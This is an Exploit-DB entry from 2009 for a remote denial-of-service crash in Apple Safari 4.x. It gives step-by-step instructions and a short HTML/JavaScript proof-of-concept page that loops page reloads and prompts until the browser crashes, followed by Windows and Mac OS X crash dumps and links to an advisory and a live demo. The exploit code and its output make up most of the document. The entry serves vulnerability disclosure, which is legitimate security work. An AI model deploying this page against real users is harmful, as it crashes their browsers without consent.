Apple Safari 4.x JavaScript Reload Remote Crash Exploit

2009-07-02T00:00:00
ID EDB-ID:9071
Type exploitdb
Reporter SkyOut
Modified 2009-07-02T00:00:00

Description

Apple Safari 4.x JavaScript Reload Remote Crash Exploit. Dos exploits for multiple platform

                                        
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Apple Safari 4.x JavaScript Reload Denial of Service
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Author   : Marcell 'SkyOut' Dietl, Achim Hoffmann
Email    : mail [at] marcell-dietl [dot] de
Vendor   : http://www.apple.com/
Product  : http://www.apple.com/safari/
Found    : 12.06.2009
Released : 01.07.2009

Tested on:
 - Safari 4.0 at Windows XP SP3
 - Safari 4.0.1 at Mac OS X 10.5.7
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STEPS TO REPRODUCE

1) Create a HTML file with the following content:

+----------
| <html>
| <body>
| <script src="empty.js"></script>
| <script>
| try { crashSafari(); } catch(e) {
| setTimeout("location.reload();",42);
| prompt('apple culpa? comment:'); }
| </script>
| </body>
| </html>
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2) Create an empty file called "empty.js" in the same directory.

3) Put both files into the WWW directory of your server.

4) Access the HTML file with your browser.
   - A popup will appear: Close it.
   - A popup will appear: Close it.
   - Crash.

5) On Windows:

+----------
| AppName: safari.exe      AppVer: 4.530.17.0      ModName: webkit.dll
| ModVer: 4.530.17.0       Offset: 00305f55
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5) On Mac OS X:

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| Process:         Safari [298]
| Path:            /Applications/Safari.app/Contents/MacOS/Safari
| Identifier:      com.apple.Safari
| Version:         4.0.1 (5530.18)
| Build Info:      WebBrowser-55301800~1
| Code Type:       X86 (Native)
| Parent Process:  launchd [163]
|
| Date/Time:       2009-07-01 00:58:48.144 +0200
| OS Version:      Mac OS X 10.5.7 (9J61)
| Report Version:  6
|
| Exception Type:  EXC_BAD_ACCESS (SIGBUS)
| Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000002
|
| Thread 0 crashed with X86 Thread State (32-bit):
|   eax: 0x00000002  ebx: 0x900bac11  ecx: 0x00625eec  edx: 0x00000000
|   edi: 0x00625ec8  esi: 0x00000002  ebp: 0xbfffe778  esp: 0xbfffe5e0
|    ss: 0x0000001f  efl: 0x00010217  eip: 0x900bac74   cs: 0x00000017
|    ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037
|   cr2: 0x00000002
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Advisory  : http://marcell-dietl.de/index/adv_safari_4_x_js_reload_dos.php

Live Demo : http://marcell-dietl.de/index/demo_safari_4_x_js_reload_dos.html

Apple has been informed about the bug, but did not show any interest.
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